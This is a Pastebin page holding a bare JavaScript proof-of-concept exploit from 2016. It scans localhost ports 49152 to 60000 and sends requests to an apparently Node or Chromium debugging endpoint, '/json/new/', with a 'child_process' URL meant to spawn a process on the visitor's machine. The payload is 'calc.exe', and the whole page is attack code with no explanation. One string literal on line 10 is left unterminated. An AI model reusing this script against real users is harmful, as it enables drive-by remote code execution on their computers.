Advertisement
Guest User

Untitled

a guest
Apr 4th, 2016
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.63 KB | None | 0 0
  1. <script>
  2. var port = 49152;
  3. var maxport = 60000;
  4. var concurrent = 128;
  5.  
  6. function nextPort()
  7. {
  8. var img = document.createElement('IMG');
  9. img.alt = "Testing " + port + "...";
  10. img.src = "http://127.0.0.1:
  11. + port++
  12. + "/json/new/?"
  13. + "javascript:require('child_process')"
  14. + ".spawnSync('calc.exe')";
  15.  
  16. img.onload = img.onerror = function(e) {
  17. document.body.removeChild(e.target);
  18. nextPort();
  19. }
  20.  
  21. if (port < maxport) {
  22. document.body.appendChild(img);
  23. }
  24. }
  25.  
  26. for (i = 0; i < concurrent; i++)
  27. nextPort();
  28.  
  29. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement